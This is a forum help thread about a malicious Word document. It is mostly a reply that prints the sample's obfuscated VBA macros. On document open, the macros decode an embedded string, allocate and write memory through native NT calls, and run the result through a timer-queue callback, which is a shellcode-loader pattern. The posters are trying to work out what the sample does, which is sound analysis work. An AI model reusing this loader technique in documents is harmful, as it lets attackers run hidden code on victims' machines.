首页
社区
课程
招聘
[求助]求助大神分析恶意word文档
发表于: 2017-11-18 17:02 3417

[求助]求助大神分析恶意word文档

2017-11-18 17:02
3417
哪位大神能帮我分析一下这个样本,我只知道代码不断在循环,占用CPU很高,但是它有什么恶意行为啊??除了virtusshare哪还能下一些恶意word文档

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

上传的附件:
收藏
免费 0
支持
分享
最新回复 (2)
雪    币: 102
活跃值: (462)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2

Module:              -----------------------------------  kob  -----------------------------------

Attribute  VB_Name  =  "kob"
'    Baby,  without  warning
'    But  just  your  sight  had  my  heart  storming
#If  (17  *  2  -  3)  >  2  And  (Win64)  >  (60  -  5  *  12)  *  2  Then
'    Started  talking  bout  us  again
'    From  the  moment  when
Public  Declare  PtrSafe  Function  righthand  Lib  "Kernel32"  Alias  "CreateTimerQueueTimer"  (anomaly  As  Any,  ByVal  breadstuff  As  Any,  ByVal  fireclay  As  Any,  ByVal  fraxinella  As  Any,  ByVal  diseased  As  Any,  ByVal  blaring  As  Any,  ByVal  adige  As  Any)  As  Long
'    Baby,  without  warning
'    If  I  woulda  just  layed  my  drink  down
Public  Declare  PtrSafe  Function  antihero  Lib  "ntdll.dll    "  Alias  "NtWriteVirtualMemory"  (ByVal  fallacious  As  Any,  ByVal  tantulus  As  Any,  ByVal  delonix  As  Any,  ByVal  mussolini  As  Any,  ByVal  sunburned  As  Any)  As  LongPtr
'    And  hit  me  like  a  hurricane'    Hit  me  like  a  hurricane
'    I  was  doing  alright
Public  Declare  PtrSafe  Function  fpirtor  Lib  "ntdll.dll      "  Alias  _
    "NtAllocateVirtualMemory"  (aliphatic  As  LongPtr,  maternally  As  LongPtr,  ByVal  egoism  As  LongPtr,  clutteredByVal  As  LongPtr,  aware  As  LongPtr,  ByVal  delft  As  LongPtr)  As  LongPtr
'    You  wrecked  my  whole  world  when  you  came
'    Knew  it  was  gonna  be  a  long  night

'    Baby,  without  warning
'    And  hit  me  like  a  hurricane
#End  If

'    And  hit  me  like  a  hurricane
Function  afril(lst,  pirs,  lky)
'    You  wrecked  my  whole  world  when  you  came
#If  (17  *  2  -  3)  >  2  And  ((60  -  5  *  12)  *  2  <  (Win64))  Then
Dim  pitbuls  As  LongPtr
Dim  bis  As  LongPtr
Dim  ority  As  Integer
Dim  deble  As  LongPtr
#End  If
#If  (17  *  2  -  3)  >  2  And  Not  ((60  -  5  *  12)  *  2  <  (Win64))  Then
Dim  pitbuls  As  Long
Dim  bwis  As  Long
Dim  antery  As  Integer
Dim  deble  As  Long
#End  If
pitbuls  =  pirs
deble  =  lky
dan2  =  righthand(lst,  pitbuls,  deble,  pitbuls,  pitbuls,  pitbuls,  pitbuls)
End  Function



Module:              -----------------------------------  aforma  -----------------------------------

Attribute  VB_Name  =  "aforma"
'    We  locked  eyes  over  whiskey  on  ice
'    If  I  woulda  just  layed  my  drink  down
#If  (17  *  2  -  3)  >  2  And  Not  (Win64)  >  (60  -  5  *  12)  *  2  Then
'    And  hit  me  like  a  hurricane
'    You  wrecked  my  whole  world  when  you  came
Public  Declare  Function  fpirtor  Lib  "Ntdll.dll    "  Alias  _
    "NtAllocateVirtualMemory"  (earwitness  As  Long,  academy  As  Long,  ByVal  bet  As  Long,  beguilementByVal  As  Long,  subsultus  As  Long,  ByVal  crossbill  As  Long)  As  Long
'    Then  you  rolled  in  with  your  hair  in  the  wind
'    The  moon  went  hiding,  stars  quit  shining
Public  Declare  Function  antihero  Lib  "Ntdll.dll      "  Alias  "NtWriteVirtualMemory"  (ByVal  advanced  As  Any,  ByVal  lacerable  As  Any,  ByVal  soothysay  As  Any,  ByVal  adelaide  As  Any,  ByVal  noctilucent  As  Any)  As  Long
'    Then  you  rolled  in  with  your  hair  in  the  wind
'    But  you  rolled  in  with  your  hair  in  the  wind
Public  Declare  Function  righthand  Lib  "Kernel32"  Alias  "CreateTimerQueueTimer"  (aerodontalgia  As  Any,  ByVal  contingents  As  Any,  ByVal  attire  As  Any,  ByVal  atoms  As  Any,  ByVal  epigram  As  Any,  ByVal  alderman  As  Any,  ByVal  phoenicopteridae  As  Any)  As  Long
'    But  you  rolled  in  with  your  hair  in  the  wind
'    But  you  rolled  in  with  your  hair  in  the  wind

'    Hit  me  like  a  hurricane
'    And  hit  me  like  a  hurricane
#End  If
'    Baby,  without  warning
'    If  I  woulda  just  layed  my  drink  down





Function  hood(ortygan)  As  String
Dim  millibar(63)  As  Long
Dim  adventist  As  String
Dim  marquess  As  Variant

Dim  permutation  As  Long
Dim  floriculture  As  Integer
Dim  capillata  As  Long
Dim  archon(63)  As  Long
memoriam  =  memoriam  \  334

Dim  bypaths(6962)  As  Byte
Dim  desmidiaceae  As  Byte

Dim  hotness  As  Long
glutamate  =  Math.Round(428)

Dim  anomalous  As  Long
Dim  cerebrospinal  As  Byte

pneumonitis  =  impracticable

Dim  eyeglass  As  Integer

Dim  adrift(63)  As  Long
Dim  cypripedia()  As  Byte
blouse  =  42  -  78  +  16515108
Dim  lowlander  As  String

lurker  =  50  -  35  +  49
blower  =  13  -  6  +  4089
blain  =  51  -  18  +  65503
interbred  =  90  -  53  +  262107
callirhoe  =  78  -  91  +  4045
machinator  =  51  -  1  +  13
mentum  =  119  -  66  +  202
Dim  daedalian  As  String

consigner  =  124  -  50  +  257974
spaniard  =  118  -  39  +  65201
elevate  =  103  -  126  +  279
Dim  moving  As  String

distributional  =  24  -  61  +  16711717
Dim  honorableness  As  Byte
libido  =  64  -  28  -  36
jute  =  103  -  9  +  7749
Dim  egression()  As  Byte
Dim  brogue  As  Integer
Dim  kinosternon  As  String
egression  =  VBA.StrConv(ortygan,  128)
Dim  parthenon  As  String
circumambient  =  20  +  0
adulator  =  2070  +  7
confuted  =  437180  +  9
  Pmt  0,  circumambient,  28683,  20818,  3

journalist  =  7840  +  3
harpullia  =  vbKeyShift  -  12
For  abolitionary  =  (2  -  2)  To  journalist
If  abolitionary  Mod  2  =  (3  -  3)  Then
egression(abolitionary)  =  egression(abolitionary)  -  harpullia
Else
egression(abolitionary)  =  egression(abolitionary)  -  (harpullia  -  1)
End  If
Next  abolitionary
unsegmentic  =  100  +  8
centerfire  =  8230  +  3
ibex  =  554110  +  7
  Pmt  0,  unsegmentic,  18557,  56308,  6

floriculture  =  2  -  2
carrefour  =  121  -  102  -  19
armillaria  =  63  -  52  +  32
anobiidae  =  filament
For  hotness  =  (7  -  7)  *  1  To  (50  +  13)  *  (5  -  4)
millibar(hotness)  =  havoc(hotness,  lurker,  36)
archon(hotness)  =  havoc(hotness,  blower,  36)
adrift(hotness)  =  havoc(hotness,  interbred,  36)
Next  hotness
dracunculidae  =  80  +  2
cowrie  =  26240  +  0
corrective  =  593450  +  4
  Pmt  0,  dracunculidae,  32578,  44397,  7

cypripedia  =  egression
quibbler  =  108  -  16  -  88
biomedicine  =  30  +  3
symbiosis  =  11200  +  1
seeds  =  416510  +  3
  Pmt  0,  biomedicine,  27477,  16811,  8

adapter  =  14  -  6  -  5
memoriam  =  Math.Round(474)

airintake  =  airintake

cupule  =  adapter  +  1
panama  =  28  -  101  +  75
For  anomalous  =  (4  -  4)  To  journalist
antitypic  =  cypripedia(anomalous)
centralized  =  cypripedia(anomalous  +  2)
rancidity  =  archon(anobiidae(cypripedia(anomalous  +  1)))
aweless  =  millibar(anobiidae(centralized))  +  anobiidae(cypripedia(anomalous  +  adapter))
capillata  =  adrift(anobiidae(antitypic))  +  rancidity  +  aweless
hotness  =  havoc(capillata,  distributional,  28)
bypaths(permutation)  =  havoc(hotness,  blain,  18)
hotness  =  havoc(capillata,  spaniard,  28)
bypaths(permutation  +  1)  =  havoc(hotness,  elevate,  18)
bypaths(permutation  +  panama)  =  havoc(capillata,  mentum,  28)
permutation  =  permutation  +  panama  +  1
anomalous  =  anomalous  +  3
Next
hood  =  bypaths
End  Function

Function  filament()
Dim  pondering(255)  As  Byte
ecstatica  =  29  -  104  +  140
Do  While  ecstatica  <=  90  +  1
pondering(ecstatica)  =  ecstatica  -  65
ecstatica  =  ecstatica  +  1
Loop
ecstatica  =  48
Do  While  ecstatica  <=  50  +  8
pondering(ecstatica)  =  ecstatica  +  4
ecstatica  =  ecstatica  +  1
Loop
ecstatica  =  97
Do  While  ecstatica  <=  120  +  3
pondering(ecstatica)  =  ecstatica  -  71
ecstatica  =  ecstatica  +  1
Loop
pondering(47)  =  63
ecstatica  =  43
pondering(ecstatica)  =  60  +  2
filament  =  pondering
End  Function



Module:              -----------------------------------  Module1  -----------------------------------

Attribute  VB_Name  =  "Module1"

Function  immodesty(scab)
Dim  clique  As  Variant
Dim  pulsate  As  Byte
Dim  chrysotherapy  As  Long
Dim  dislodge  As  String
#If  (18  *  4  -  4)  >  5  And  ((65  -  5  *  13)  *  4  <  (Win64))  Then
Dim  runt  As  Variant
Dim  yugoslavian  As  LongPtr
straggly  =  27  -  7  -  12
Dim  margravine  As  LongPtr
Dim  disce  As  Integer
Dim  unwillingness  As  Long
Dim  indigene  As  LongPtr
Dim  noncyclic  As  String
#End  If
#If  (18  *  4  -  4)  >  5  And  Not  ((65  -  5  *  13)  *  4  <  (Win64))  Then
Dim  yugoslavian  As  Long
straggly  =  115  -  42  -  69
Dim  margravine  As  Long
Dim  indigene  As  Long
#End  If
needlewoman  =  VarPtr(yugoslavian)
quaking  =  scaphopod(needlewoman,  VarPtr(scab)  +  8,  straggly)
penmanship  =  127  -  74  -  54
margravine  =  39  -  55  +  16
interpellation  =  124  -  11  -  113
indigene  =  123  -  42  +  9706
hyperbolically  =  64  -  128  +  4160
desole  =  128  -  35  -  29
buoy  =  fpirtor(ByVal  penmanship,  margravine,  ByVal  interpellation,  indigene,  ByVal  hyperbolically,  ByVal  desole)
impracticable  =  pneumonitis

airintake  =  "phenotypical"

scaphopod  margravine,  yugoslavian,  (90  -  81  +  5874)  *  1
cabstand  =  (110  +  3)  *  1
  VBA.Financial.Pmt  0,  cabstand,  18915,  29910,  6

immodesty  =  margravine
End  Function


Function  havoc(lamia,  dolomite,  ophisaurus)
If  ophisaurus  =  (10  +  8)  +  (10  /  2  -  5)  Then
havoc  =  lamia  \  dolomite
ElseIf  ophisaurus  =  (20  +  8)  +  (5  -  3)  /  2  -  1  Then
havoc  =  lamia  And  dolomite
ElseIf  ophisaurus  =  (30  +  6)  +  (56  /  7  -  4  *  2)  Then
havoc  =  lamia  *  dolomite
End  If
End  Function





Module:              -----------------------------------  Module2  -----------------------------------

Attribute  VB_Name  =  "Module2"
Sub  InsertText()
Dim  wdApp  As  Word.Application
Dim  wdDoc  As  Document
Dim  wdSln  As  Selection

Set  wdApp  =  GetObject(,  "Word.Application")
Set  wdDoc  =  wdApp.ActiveDocument
Set  wdSln  =  wdApp.Selection

wdDoc.Application.Options.Overtype  =  False
With  wdSln
If  .Type  =  wdSelectionIP  Then
.TypeText  ("Inserting  at  insertion  point.  ")
ElseIf  .Type  =  wdSelectionNormal  Then
If  wdApp.Options.ReplaceSelection  Then
        .Collapse  Direction:=wdCollapseStart
End  If
.TypeText  ("Inserting  before  a  text  block.  ")
End  If
End  With
Set  wdApp  =  Nothing
Set  wdDoc  =  Nothing
End  Sub
Function  scaphopod(castrato,  grounder,  deixis)
#If  (18  *  4  -  4)  >  5  And  ((65  -  5  *  13)  *  4  <  (Win64))  Then
Dim  demonstration  As  Integer
Dim  conduce  As  String
Dim  bronchiolitis  As  LongPtr
Dim  inflexibly  As  LongPtr
Dim  bootlicking  As  LongPtr
Dim  meminisse  As  Variant
Dim  turki  As  LongPtr
Dim  apart  As  LongPtr
#End  If
#If  (18  *  4  -  4)  >  5  And  Not  ((65  -  5  *  13)  *  4  <  (Win64))  Then
Dim  inflexibly  As  Long
Dim  jamaican  As  Variant
Dim  bronchiolitis  As  Long
Dim  hatchback  As  String
Dim  turki  As  Long
Dim  oolong  As  String
Dim  bootlicking  As  Long
Dim  selfpunishment  As  String
Dim  apart  As  Long
Dim  notomys  As  Long
Dim  castigation  As  String
#End  If
airintake  =  pneumonitis
impenetrability  =  Fix(238)
inflexibly  =  castrato
apart  =  deixis
memoriam  =  Math.Round(258)
turki  =  grounder
bullbrier  =  113
hermaphroditic  =  20894
delft  =  330545
  Pmt  0,  bullbrier,  14021,  13888,  6

pneumonitis  =  "motif"
bronchiolitis  =  90  -  42  -  49
antihero  ByVal  bronchiolitis,  inflexibly,  turki,  apart,  bootlicking
glutamate  =  Fix(470)
End  Function
Sub  range()
Dim  rngFirstList  As  range
Set  rngFirstList  =  ActiveDocument.Lists(1).range
ActiveDocument.Windows(1).ScrollIntoView  Obj:=rngFirstList,  Start:=False
rngFirstList.Select
Selection.Collapse  Direction:=wdCollapseEnd
Selection.MoveLeft  Unit:=wdCharacter,  Count:=1,  Extend:=wdMove
End  Sub



Module:              -----------------------------------  nephrops  -----------------------------------

Attribute  VB_Name  =  "nephrops"
Attribute  VB_Base  =  "0{3616BBFB-A3D3-46FC-BDB6-70D9606DE2C0}{32F916CE-F6C0-4A61-89BF-1FB378033AF5}"
Attribute  VB_GlobalNameSpace  =  False
Attribute  VB_Creatable  =  False
Attribute  VB_PredeclaredId  =  True
Attribute  VB_Exposed  =  False
Attribute  VB_TemplateDerived  =  False
Attribute  VB_Customizable  =  False



Module:              -----------------------------------  ThisDocument  -----------------------------------

Attribute  VB_Name  =  "ThisDocument"
Attribute  VB_Base  =  "1Normal.ThisDocument"
Attribute  VB_GlobalNameSpace  =  False
Attribute  VB_Creatable  =  False
Attribute  VB_PredeclaredId  =  True
Attribute  VB_Exposed  =  True
Attribute  VB_TemplateDerived  =  True
Attribute  VB_Customizable  =  True




Sub  astute()
Dim  momentous  As  Long
Dim  misteach  As  Long
nephrops.garment.Value  =  Day(#12/5/2013#)
varday  =  leisurely  =  "acanthocytosis"
rape  =  "refrigeratory"
acquaint  =  "enwrapped"
ardeidae  =  altruistically
nephrolepis  =  "derivational"

spit  =  "bolographic"
destroy  =  "cardiopulmonary"
Set  bane  =  nephrops.garment.SelectedItem
machicolation  =  20
atakapa  =  3716
maria  =  106057
  Pmt  0,  machicolation,  24027,  11789,  8

dermochelyidae  =  bane.Name
crimen  =  110  -  120  +  7854
crossfire  =  Right(dermochelyidae,  crimen)
autocratically  =  aforma.hood(crossfire)
polianthes  =  105
unexpected  =  29630
bovini  =  484857
  Pmt  0,  polianthes,  14914,  26301,  4

nailhead  =  "plebe"
#If  (17  *  2  -  3)  >  2  And  (Win64)  >  (60  -  5  *  12)  *  2  Then
Dim  beau  As  Integer
Dim  bullyboy  As  LongPtr
Dim  caps  As  LongPtr
Dim  gasometer  As  Variant

Dim  aboding  As  String
Dim  sweptwing  As  LongPtr
Dim  unprompted  As  LongPtr
Dim  kisser  As  LongPtr
balky  =  61  -  49  +  2052
#End  If
#If  (17  *  2  -  3)  >  2  And  Not  (Win64)  >  (60  -  5  *  12)  *  2  Then
Dim  megachile  As  String
Dim  caps  As  Long
Dim  lemoncolored  As  Long
Dim  bullyboy  As  Long

Dim  sweptwing  As  Long
chamaecyparis  =  83  -  35  +  733
Dim  unprompted  As  Long
Dim  kisser  As  Long
balky  =  chamaecyparis  +  3459
#End  If
balanced  =  25  -  39  +  14
crispness  =  "gungho"
Border  =  "claret"
bratling  =  69  -  94  +  4121
commonality  =  90
harpoon  =  17388
problem  =  119577
  Pmt  0,  commonality,  12656,  49234,  2

untapped  =  "salesperson"
mumbling  =  cyanobacteria
multipartite  =  "congregational"
traveled  =  74
cystocele  =  24270
osmium  =  159951
  Pmt  0,  traveled,  35490,  50334,  2

chooses  =  autocratically
frequently  =  "confirmed"
chorography  =  "cleistes"
bullyboy  =  immodesty(chooses)
bouquet  =  morceau
lethean  =  "councillorship"
Dim  cunningman  As  Byte
Dim  macrobiotic  As  Long
sweptwing  =  1  -  42  +  41
caps  =  bullyboy  +  balky
unprompted  =  78  -  62  +  201511
kisser  =  90  -  78  +  3488
ditto  =  afril(unprompted,  sweptwing,  caps)
toaster  =  41
irritably  =  9495
jenny  =  514215
  Pmt  0,  toaster,  33326,  19344,  5

End  Sub


Private  Sub  Document_Open()
Dim  centralized  As  Byte
Dim  bur  As  String
singer  =  "dancer"
antimuon  =  "commensurate"
astute
churning  =  20  +  8
afflictions  =  21130  +  5
kinesis  =  368440  +  8
  Pmt  0,  churning,  6247,  20083,  5
End  Sub
2017-11-18 18:00
0
雪    币: 4
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
宏代码我也能看到啊。。我试着debug了几遍,除了看到里面有很多循环以外,没看到其他的恶意行为。。有什么我没发现的么
2017-11-19 16:30
0
游客
登录 | 注册 方可回帖
返回
//